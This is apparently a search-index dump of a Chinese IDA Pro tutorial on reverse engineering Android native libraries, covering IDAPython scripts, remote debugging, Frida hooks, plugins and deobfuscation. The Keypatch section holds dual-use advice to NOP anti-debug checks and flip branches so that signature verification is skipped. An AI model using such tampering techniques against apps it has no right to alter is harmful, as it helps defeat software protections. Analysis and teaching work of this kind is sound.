类型库，之后即可直接使用 JNIEnv*, jstring, jbyteArray 等类型。 定义结构体 当代码中存在大量的指针偏移访问时（如 *(a1 + 8)），应定义结构体：按 Shift+F9 打开结构体窗口，Insert 创建，D 添加字段，N 命名字段。然后将伪代码中的指针变量类型改为结构体指针，偏移量会自动变为字段名： // 定义前 // 定义后 v3 = *(_DWORD *)(a1 + 0); v3 = ctx-\u003ebuffer; v4 = *(_DWORD *)(a1 + 4); v4 = ctx-\u003ebuffer_size; v5 = *(_DWORD *)(a1 + 8); v5 = ctx-\u003ekey; 常用反编译器快捷键 快捷键 功能 F5 反编译当前函数 N 重命名变量/函数 Y 修改变量/函数类型 T 选择结构体成员 / 添加注释 \\ 隐藏/显示类型转换 (casts) Tab 在伪代码和反汇编视图之间切换 Ctrl+Shift+W 复制伪代码到剪贴板 右键 -\u003e Set number format 改变数值的显示格式 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:7:2","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#定义结构体"},{"categories":null,"collections":null,"content":"提升伪代码可读性的关键操作 重命名变量和函数 这是最重要的操作。反编译器生成的默认变量名（如 v1, v2, a1）毫无意义，需要根据分析结果进行重命名： // 重命名前（几乎不可读） int __fastcall sub_12A0(int a1, int a2, int a3) { int v4 = *(_DWORD *)(a1 + 16); void *v5 = malloc(a3 + 1); memcpy(v5, *(void **)(a1 + 24), a3); return sub_1400(v5, a3, v4); } // 重命名后（逻辑清晰） int __fastcall decrypt_data(JNIEnv *env, jbyteArray input, int length) { int key_len = *(_DWORD *)(env + 16); void *buffer = malloc(length + 1); memcpy(buffer, *(void **)(env + 24), length); return aes_decrypt(buffer, length, key_len); } 操作方法：将光标放在变量/函数名上，按 N 键重命名。 修改变量类型 IDA 经常无法正确推断变量类型，尤其是 JNI 函数的参数。手动修正类型可以显著提升可读性： // 修正前：IDA 将 JNIEnv* 识别为 int int __fastcall Java_com_example_encrypt(int a1, int a2, int a3) // 修正后：设置正确的 JNI 类型 jbyteArray __fastcall Java_com_example_encrypt(JNIEnv *env, jobject thiz, jstring input) 操作方法：将光标放在变量上，按 Y 键修改类型。 提示：IDA 内置了 JNI 类型库。加载 SO 后，可以通过 View -\u003e Open subviews -\u003e Type Libraries 加载 jni_all 类型库，之后即可直接使用 JNIEnv*, jstring, jbyteArray 等类型。 定义结构体 当代码中存在大量的指针偏移访问时（如 *(a1 + 8)），应定义结构体：按 Shift+F9 打开结构体窗口，Insert 创建，D 添加字段，N 命名字段。然后将伪代码中的指针变量类型改为结构体指针，偏移量会自动变为字段名： // 定义前 // 定义后 v3 = *(_DWORD *)(a1 + 0); v3 = ctx-\u003ebuffer; v4 = *(_DWORD *)(a1 + 4); v4 = ctx-\u003ebuffer_size; v5 = *(_DWORD *)(a1 + 8); v5 = ctx-\u003ekey; 常用反编译器快捷键 快捷键 功能 F5 反编译当前函数 N 重命名变量/函数 Y 修改变量/函数类型 T 选择结构体成员 / 添加注释 \\ 隐藏/显示类型转换 (casts) Tab 在伪代码和反汇编视图之间切换 Ctrl+Shift+W 复制伪代码到剪贴板 右键 -\u003e Set number format 改变数值的显示格式 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:7:2","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#常用反编译器快捷键"},{"categories":null,"collections":null,"content":"常见的伪代码模式识别 在分析 Android SO 时，需要熟悉 JNI 调用模式。例如 GetStringUTFChars / ReleaseStringUTFChars 配对出现时说明在操作 Java 字符串，GetByteArrayElements / ReleaseByteArrayElements 配对说明在操作字节数组。 常见加密算法的伪代码特征： 算法 伪代码特征 AES 16 字节块操作，S-Box 查表，MixColumns 矩阵运算 MD5 4 个 32 位状态变量，64 轮循环，特征常量 0x67452301 SHA-256 8 个 32 位状态变量，64 轮循环，特征常量 0x6a09e667 RC4 256 字节 S-Box 初始化 + KSA + PRGA 两阶段 Base64 包含 “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef…” 字符表 HMAC 内层和外层填充 (ipad=0x36, opad=0x5C) ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:7:3","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#常见的伪代码模式识别"},{"categories":null,"collections":null,"content":"IDAPython 实战脚本 💡 思路一句话: IDAPython 的价值在于「批量自动化」— 手动分析找到规律后，写脚本对所有同类模式一次性处理（批量重命名、批量 patch、批量提取数据）。 IDAPython 是 IDA 最强大的自动化接口。以下是在 Android SO 分析中非常实用的脚本集合。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:8:0","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#idapython-实战脚本"},{"categories":null,"collections":null,"content":"基础：打印所有函数名和地址 import idautils import idc for func_ea in idautils.Functions(): func_name = idc.get_func_name(func_ea) print(f\"{func_name} at {hex(func_ea)}\") ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:8:1","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#基础打印所有函数名和地址"},{"categories":null,"collections":null,"content":"批量重命名 sub_ 函数 当你通过其他工具（如 Frida trace 日志）获得了函数名映射时，可以批量导入： import idc # 格式：{ 地址: \"新函数名\" } rename_map = { 0x12A0: \"aes_encrypt\", 0x1400: \"aes_decrypt\", 0x1580: \"md5_init\", 0x16C0: \"md5_update\", 0x1800: \"md5_final\", 0x1A00: \"base64_encode\", 0x1B40: \"hmac_sha256\", } for addr, name in rename_map.items(): if idc.set_name(addr, name, idc.SN_FORCE): print(f\"[+] Renamed {hex(addr)} -\u003e {name}\") else: print(f\"[-] Failed to rename {hex(addr)}\") ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:8:2","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#批量重命名-sub_-函数"},{"categories":null,"collections":null,"content":"查找加密算法常量 利用已知的加密算法初始化常量来自动识别算法： import idautils, idc, ida_bytes CRYPTO_CONSTANTS = { \"MD5\": [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476], \"SHA-256\": [0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a], \"AES-Te0\": [0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d], \"CRC32\": [0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA], \"Blowfish\": [0x243F6A88, 0x85A308D3, 0x13198A2E, 0x03707344], } for algo_name, constants in CRYPTO_CONSTANTS.items(): for const in constants: ea = 0 while True: ea = ida_bytes.find_dword(ea, idc.BADADDR, const) if ea == idc.BADADDR: break func_ea = idc.get_func_attr(ea, idc.FUNCATTR_START) func_name = idc.get_func_name(func_ea) if func_ea != idc.BADADDR else \"N/A\" print(f\"[{algo_name}] {hex(const)} at {hex(ea)} (func: {func_name})\") ea += 4 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:8:3","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#查找加密算法常量"},{"categories":null,"collections":null,"content":"解析 JNI 动态注册 (RegisterNatives) 这是 Android SO 分析中最实用的脚本之一。当应用使用 RegisterNatives 动态注册 JNI 函数时，导出表中看不到 Java_xxx 命名的函数。此脚本帮你从 JNI_OnLoad 中提取注册信息： import idc, ida_bytes def parse_jni_native_methods(methods_ptr, count): \"\"\"解析 JNINativeMethod 数组 (64-bit: 每项 24 字节)\"\"\" for i in range(count): base = methods_ptr + i * 24 name_ptr = ida_bytes.get_qword(base) sig_ptr = ida_bytes.get_qword(base + 8) fn_ptr = ida_bytes.get_qword(base + 16) name = idc.get_strlit_contents(name_ptr, -1, idc.STRTYPE_C) sig = idc.get_strlit_contents(sig_ptr, -1, idc.STRTYPE_C) if name and sig: name = name.decode() if isinstance(name, bytes) else name sig = sig.decode() if isinstance(sig, bytes) else sig idc.set_name(fn_ptr, f\"jni_{name}\", idc.SN_FORCE) print(f\" {name} {sig} -\u003e {hex(fn_ptr)}\") # 用法: 在 RegisterNatives 调用处确定 methods 地址和 count # parse_jni_native_methods(0xABCD1234, 5) ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:8:4","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#解析-jni-动态注册-registernatives"},{"categories":null,"collections":null,"content":"批量导出字符串 将 SO 中所有可识别的字符串导出为文本文件，便于离线分析和搜索： import idc, idautils def dump_all_strings(min_length=4): strings = idautils.Strings() with open(\"/tmp/ida_strings.txt\", \"w\") as f: for s in strings: if s.length \u003e= min_length: content = idc.get_strlit_contents(s.ea, -1, s.strtype) if content: text = content.decode('utf-8', errors='replace') f.write(f\"{hex(s.ea)}: {text}\\n\") print(\"[+] 字符串已导出到 /tmp/ida_strings.txt\") dump_all_strings() ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:8:5","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#批量导出字符串"},{"categories":null,"collections":null,"content":"XOR 字符串解密辅助 很多加固 SO 会对字符串进行 XOR 加密。找到解密函数后，可以追踪其所有调用点并批量解密： import idc, idautils def xor_decrypt(data, key): if isinstance(key, int): return bytes([b ^ key for b in data]) return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)]) def find_decrypt_calls(decrypt_func_addr): for xref in idautils.XrefsTo(decrypt_func_addr): print(f\"[*] 解密函数被调用于: {hex(xref.frm)}\") ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:8:6","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#xor-字符串解密辅助"},{"categories":null,"collections":null,"content":"远程调试 Android 应用 IDA Pro 内置了强大的远程调试功能，可以通过 android_server 组件对 Android 设备上运行的 Native 代码进行实时调试。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:9:0","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#远程调试-android-应用"},{"categories":null,"collections":null,"content":"第一步：推送 android_server 到设备 IDA 安装目录下的 dbgsrv/ 文件夹包含各架构的调试服务端（android_server 为 ARM32，android_server64 为 ARM64）： # 推送到设备（以 arm64 为例） adb push /path/to/ida/dbgsrv/android_server64 /data/local/tmp/ adb shell chmod 755 /data/local/tmp/android_server64 # 启动 android_server（需要 root 权限） adb shell su -c \"/data/local/tmp/android_server64 -p 23946\" # 设置端口转发 adb forward tcp:23946 tcp:23946 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:9:1","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#第一步推送-android_server-到设备"},{"categories":null,"collections":null,"content":"第二步：在 IDA 中配置远程调试 在 IDA 中打开目标 SO 文件 Debugger -\u003e Select debugger... -\u003e 选择 Remote ARM Linux/Android debugger 配置 Hostname 为 127.0.0.1，Port 为 23946 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:9:2","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#第二步在-ida-中配置远程调试"},{"categories":null,"collections":null,"content":"第三步：附加到目标进程 方式一：附加到已运行的进程 - Debugger -\u003e Attach to process...，在进程列表中选择目标应用。 方式二：从启动阶段调试 (推荐) - 如果需要调试 JNI_OnLoad 或 init_array 中的代码： # 以调试模式启动应用，应用会暂停等待调试器连接 adb shell am start -D -n com.example.app/.MainActivity 此时在 IDA 中附加进程，在目标函数处下断点即可。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:9:3","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#第三步附加到目标进程"},{"categories":null,"collections":null,"content":"第四步：设置断点与调试 常用调试快捷键：F2 设置断点、F9 继续运行、F7 单步步入、F8 单步步过、F4 运行到光标。通过 Debugger 菜单可查看寄存器、栈和内存。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:9:4","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#第四步设置断点与调试"},{"categories":null,"collections":null,"content":"常见问题 无法连接：确认 adb forward 已执行，检查端口占用 进程列表为空：android_server 需要 root 权限运行 断点不生效：ASLR 导致 SO 加载地址不同，需在 Module list 中确认实际基址 需要在 SO 加载时断点：Debugger -\u003e Debugger options -\u003e Events 勾选 Library load 应用检测到调试器：需先绕过反调试（参考 Frida 反调试章节） ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:9:5","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#常见问题"},{"categories":null,"collections":null,"content":"处理 ASLR（地址空间随机化） Android 默认启用 ASLR，SO 文件每次加载的基地址不同。调试时通过 Debugger -\u003e Module list 查看 SO 的实际基地址，或使用 IDAPython： import idautils for mod in idautils.Modules(): if \"libnative.so\" in mod.name: print(f\"Base: {hex(mod.base)}, Size: {hex(mod.size)}\") ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:9:6","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#处理-aslr地址空间随机化"},{"categories":null,"collections":null,"content":"常用插件推荐 IDA Pro 拥有极其丰富的插件生态。以下是在 Android 逆向中最常用的插件： ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:10:0","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#常用插件推荐"},{"categories":null,"collections":null,"content":"FindCrypt 属性 说明 功能 自动识别二进制中的加密算法常量 原理 通过匹配已知加密算法的特征常量（S-Box、初始化向量等） 用途 快速定位 AES、DES、MD5、SHA、RC4、Blowfish 等算法的实现 地址 https://github.com/polymorf/findcrypt-yara 使用方法：安装后，通过 Edit -\u003e Plugins -\u003e FindCrypt 运行，结果会在 Output 窗口显示，并自动在发现位置添加书签。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:10:1","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#findcrypt"},{"categories":null,"collections":null,"content":"Keypatch 属性 说明 功能 在 IDA 中直接进行汇编级别的 Patch 原理 集成 Keystone 汇编引擎，支持多种架构的指令汇编 用途 修改指令（如 NOP 掉检测代码）、修复被混淆的跳转 地址 https://github.com/keystone-engine/keypatch 常用场景：NOP 掉反调试检测的 BL anti_debug_check，或反转条件跳转（CBNZ 改为 CBZ）跳过签名验证。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:10:2","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#keypatch"},{"categories":null,"collections":null,"content":"HexRaysPyTools 属性 说明 功能 增强 Hex-Rays 反编译器的类型恢复能力 原理 通过分析数据流自动推断结构体字段和虚函数表 用途 快速重建 C++ 类的虚函数表、自动创建结构体 地址 https://github.com/igogo-x86/HexRaysPyTools 核心功能： Scan Variable: 分析指针的所有使用方式，自动生成对应的结构体 Reconstruct vtable: 从虚函数表指针自动重建 C++ 虚函数表 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:10:3","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#hexrayspytools"},{"categories":null,"collections":null,"content":"LazyIDA 属性 说明 功能 提供一系列便捷操作，提升日常分析效率 用途 批量复制数据、快速搜索、格式化输出 地址 https://github.com/L4ys/LazyIDA 主要功能： 将选中的数据复制为 Python 列表 / C 数组 / 十六进制字符串 快速扫描格式化字符串漏洞 一键将立即数转换为不同进制 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:10:4","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#lazyida"},{"categories":null,"collections":null,"content":"Diaphora 属性 说明 功能 二进制文件差异对比（BinDiff 的开源替代） 用途 对比同一 SO 的不同版本，找出新增/修改的函数 地址 https://github.com/joxeankoret/diaphora ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:10:5","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#diaphora"},{"categories":null,"collections":null,"content":"IDA FLIRT Signature Database 属性 说明 功能 社区维护的 FLIRT 签名数据库 用途 识别各种编译器和库的标准函数，减少需要手动分析的函数数量 地址 https://github.com/push0ebp/sig-database ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:10:6","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#ida-flirt-signature-database"},{"categories":null,"collections":null,"content":"插件安装方法 大多数 Python 插件只需将 .py 文件复制到 IDA 安装目录下的 plugins/ 文件夹，重启 IDA 即可。FLIRT 签名文件 (.sig) 则放入 sig/arm/ 或 sig/arm64/ 目录。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:10:7","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#插件安装方法"},{"categories":null,"collections":null,"content":"IDA 与 Frida 联动 在实际的 Android 逆向分析中，最高效的工作流是将 IDA 的静态分析能力与 Frida 的动态插桩能力结合起来。两者互补，形成完整的分析闭环。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:11:0","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#ida-与-frida-联动"},{"categories":null,"collections":null,"content":"联动工作流 典型的 IDA + Frida 分析闭环： IDA 静态定位 -\u003e 在 IDA 中找到可疑函数（如 sub_1A2C），分析参数和调用关系 Frida 动态验证 -\u003e 编写 Frida Hook 脚本，观察运行时的参数值、返回值和调用栈 回填 IDA -\u003e 根据动态结果回到 IDA 重命名函数、修正类型 深入分析 -\u003e 在 Frida 中修改参数测试、dump 内存数据，进一步理解算法逻辑 形成完整理解 -\u003e 反复迭代，直到完全理解目标逻辑 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:11:1","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#联动工作流"},{"categories":null,"collections":null,"content":"场景一：用 IDA 定位函数，用 Frida 验证 在 IDA 中通过静态分析发现了一个疑似加密函数 sub_1A2C，需要验证其功能： // Frida 脚本：Hook IDA 中发现的函数 var baseAddr = Module.findBaseAddress(\"libnative.so\"); var targetFunc = baseAddr.add(0x1A2C); // IDA 中看到的函数偏移 Interceptor.attach(targetFunc, { onEnter: function(args) { console.log(\"[*] sub_1A2C called!\"); console.log(\" arg0 (buffer): \" + args[0]); console.log(\" arg1 (length): \" + args[1].toInt32()); if (args[1].toInt32() \u003e 0 \u0026\u0026 args[1].toInt32() \u003c 1024) { console.log(\" input: \" + hexdump(args[0], { length: args[1].toInt32() })); } this.buf = args[0]; this.len = args[1].toInt32(); }, onLeave: function(retval) { console.log(\" return: \" + retval); if (this.len \u003e 0 \u0026\u0026 this.len \u003c 1024) { console.log(\" output: \" + hexdump(this.buf, { length: this.len })); } } }); 观察 Frida 的输出后，确认该函数是 AES-CBC 加密，回到 IDA 中将 sub_1A2C 重命名为 aes_cbc_encrypt，并修正参数类型。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:11:2","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#场景一用-ida-定位函数用-frida-验证"},{"categories":null,"collections":null,"content":"场景二：从 IDA 导出信息供 Frida 使用 编写 IDAPython 脚本，将分析成果导出为 Frida 可用的 Hook 模板： # IDAPython: 为所有已命名的非库函数生成 Frida Hook 模板 import idautils, idc, ida_funcs output = ['var base = Module.findBaseAddress(\"libnative.so\");', \"\"] for func_ea in idautils.Functions(): name = idc.get_func_name(func_ea) if name.startswith(\"sub_\") or name.startswith(\".\"): continue func = ida_funcs.get_func(func_ea) if not func: continue offset = hex(func_ea) output.append(f'// {name}') output.append(f'Interceptor.attach(base.add({offset}), {{') output.append(f' onEnter: function(args) {{ console.log(\"[{name}] called\"); }},') output.append(f' onLeave: function(retval) {{ console.log(\"[{name}] ret: \" + retval); }}') output.append(f'}});') with open(\"/tmp/frida_hooks.js\", \"w\") as f: f.write(\"\\n\".join(output)) print(\"[+] Frida Hook 模板已导出到 /tmp/frida_hooks.js\") ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:11:3","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#场景二从-ida-导出信息供-frida-使用"},{"categories":null,"collections":null,"content":"高级技巧 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:12:0","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#高级技巧"},{"categories":null,"collections":null,"content":"处理混淆代码 在实际的 Android 逆向中，大量的商业应用会使用 OLLVM（Obfuscator-LLVM）或自研混淆工具对 SO 进行保护。常见的混淆手段及 IDA 中的应对策略： 控制流平坦化 (Control Flow Flattening) 这是 OLLVM 最常用的混淆手段。原本顺序执行的基本块 A-\u003eB-\u003eC 被替换为一个大的 switch-case 分发器，所有基本块通过一个状态变量 (state variable) 控制执行顺序，在 IDA 图形视图中表现为一个中心节点连接大量分支。 IDA 应对方法： 使用 D-810 插件（基于 Hex-Rays microcode API 的去混淆框架） 使用 HexRaysDeob 插件自动去除平坦化 手动分析：识别分发变量（state variable），追踪每个 case 块的真实逻辑 虚假控制流 (Bogus Control Flow) 插入恒真/恒假的虚假分支增加复杂度。在伪代码中识别不可能成立的条件（如 (x*x) % 2 == 1），用 Keypatch NOP 掉虚假分支即可。 指令替换 (Instruction Substitution) 将简单指令替换为等价复杂序列（如 ADD 变为 SUB + NEG）。Hex-Rays 反编译器通常能自动优化，复杂情况可使用 D-810 的 microcode 规则处理。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:12:1","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#处理混淆代码"},{"categories":null,"collections":null,"content":"处理混淆代码 在实际的 Android 逆向中，大量的商业应用会使用 OLLVM（Obfuscator-LLVM）或自研混淆工具对 SO 进行保护。常见的混淆手段及 IDA 中的应对策略： 控制流平坦化 (Control Flow Flattening) 这是 OLLVM 最常用的混淆手段。原本顺序执行的基本块 A-\u003eB-\u003eC 被替换为一个大的 switch-case 分发器，所有基本块通过一个状态变量 (state variable) 控制执行顺序，在 IDA 图形视图中表现为一个中心节点连接大量分支。 IDA 应对方法： 使用 D-810 插件（基于 Hex-Rays microcode API 的去混淆框架） 使用 HexRaysDeob 插件自动去除平坦化 手动分析：识别分发变量（state variable），追踪每个 case 块的真实逻辑 虚假控制流 (Bogus Control Flow) 插入恒真/恒假的虚假分支增加复杂度。在伪代码中识别不可能成立的条件（如 (x*x) % 2 == 1），用 Keypatch NOP 掉虚假分支即可。 指令替换 (Instruction Substitution) 将简单指令替换为等价复杂序列（如 ADD 变为 SUB + NEG）。Hex-Rays 反编译器通常能自动优化，复杂情况可使用 D-810 的 microcode 规则处理。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:12:1","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#控制流平坦化-control-flow-flattening"},{"categories":null,"collections":null,"content":"处理混淆代码 在实际的 Android 逆向中，大量的商业应用会使用 OLLVM（Obfuscator-LLVM）或自研混淆工具对 SO 进行保护。常见的混淆手段及 IDA 中的应对策略： 控制流平坦化 (Control Flow Flattening) 这是 OLLVM 最常用的混淆手段。原本顺序执行的基本块 A-\u003eB-\u003eC 被替换为一个大的 switch-case 分发器，所有基本块通过一个状态变量 (state variable) 控制执行顺序，在 IDA 图形视图中表现为一个中心节点连接大量分支。 IDA 应对方法： 使用 D-810 插件（基于 Hex-Rays microcode API 的去混淆框架） 使用 HexRaysDeob 插件自动去除平坦化 手动分析：识别分发变量（state variable），追踪每个 case 块的真实逻辑 虚假控制流 (Bogus Control Flow) 插入恒真/恒假的虚假分支增加复杂度。在伪代码中识别不可能成立的条件（如 (x*x) % 2 == 1），用 Keypatch NOP 掉虚假分支即可。 指令替换 (Instruction Substitution) 将简单指令替换为等价复杂序列（如 ADD 变为 SUB + NEG）。Hex-Rays 反编译器通常能自动优化，复杂情况可使用 D-810 的 microcode 规则处理。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:12:1","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#虚假控制流-bogus-control-flow"},{"categories":null,"collections":null,"content":"处理混淆代码 在实际的 Android 逆向中，大量的商业应用会使用 OLLVM（Obfuscator-LLVM）或自研混淆工具对 SO 进行保护。常见的混淆手段及 IDA 中的应对策略： 控制流平坦化 (Control Flow Flattening) 这是 OLLVM 最常用的混淆手段。原本顺序执行的基本块 A-\u003eB-\u003eC 被替换为一个大的 switch-case 分发器，所有基本块通过一个状态变量 (state variable) 控制执行顺序，在 IDA 图形视图中表现为一个中心节点连接大量分支。 IDA 应对方法： 使用 D-810 插件（基于 Hex-Rays microcode API 的去混淆框架） 使用 HexRaysDeob 插件自动去除平坦化 手动分析：识别分发变量（state variable），追踪每个 case 块的真实逻辑 虚假控制流 (Bogus Control Flow) 插入恒真/恒假的虚假分支增加复杂度。在伪代码中识别不可能成立的条件（如 (x*x) % 2 == 1），用 Keypatch NOP 掉虚假分支即可。 指令替换 (Instruction Substitution) 将简单指令替换为等价复杂序列（如 ADD 变为 SUB + NEG）。Hex-Rays 反编译器通常能自动优化，复杂情况可使用 D-810 的 microcode 规则处理。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:12:1","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#指令替换-instruction-substitution"},{"categories":null,"collections":null,"content":"FLIRT 签名应用于 Android NDK 对于使用 NDK 编译的 SO 文件，IDA 默认可能无法识别 C/C++ 标准库函数。手动应用 FLIRT 签名可以显著减少需要分析的函数数量。 制作与应用 NDK 签名 # 使用 IDA FLAIR 工具集：pelf 生成 PAT，sigmake 生成 SIG ./pelf $ANDROID_NDK/.../sysroot/usr/lib/aarch64-linux-android/libc.a libc_ndk.pat ./sigmake -n\"Android NDK r25 libc (arm64)\" libc_ndk.pat libc_ndk.sig cp libc_ndk.sig /path/to/ida/sig/arm64/ 在 IDA 中通过 File -\u003e Load file -\u003e FLIRT signature file... 加载签名文件，IDA 会自动匹配并重命名已识别的库函数。 应用签名后，sub_A000 等大量未知函数会被自动识别为 memcpy、memset、strlen、malloc 等标准库函数，逆向工程师可以专注于真正的业务逻辑代码。 